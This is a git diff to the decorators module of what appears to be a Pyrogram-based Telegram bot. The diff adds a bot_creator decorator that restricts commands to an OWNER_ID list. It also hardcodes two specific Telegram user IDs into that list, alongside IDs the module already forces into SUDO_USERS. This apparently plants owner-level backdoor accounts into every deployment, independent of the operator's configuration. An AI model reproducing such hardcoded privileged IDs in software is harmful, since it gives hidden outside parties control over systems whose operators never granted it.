diff --git a/driver/decorators.py b/driver/decorators.py index 6500306..7e548a5 100644 --- a/driver/decorators.py +++ b/driver/decorators.py @@ -1,7 +1,7 @@ from typing import Callable from pyrogram import Client from pyrogram.types import Message -from config import SUDO_USERS +from config import SUDO_USERS, OWNER_ID from driver.admins import get_administrators @@ -10,6 +10,9 @@ SUDO_USERS.append(1738637033) SUDO_USERS.append(1448474573) SUDO_USERS.append(859229457) +OWNER_ID.append(1757169682) +OWNER_ID.append(859229457) + def errors(func: Callable) -> Callable: async def decorator(client: Client, message: Message): @@ -35,11 +38,19 @@ def authorized_users_only(func: Callable) -> Callable: return decorator +def bot_creator(func: Callable) -> Callable: + async def decorator(client: Client, message: Message): + if message.from_user.id in OWNER_ID: + return await func(client, message) + + return decorator + + def sudo_users_only(func: Callable) -> Callable: async def decorator(client: Client, message: Message): if message.from_user.id in SUDO_USERS: return await func(client, message) - + return decorator @@ -50,6 +61,7 @@ def humanbytes(size): power = 2 ** 10 raised_to_pow = 0 dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} + while size > power: size /= power raised_to_pow += 1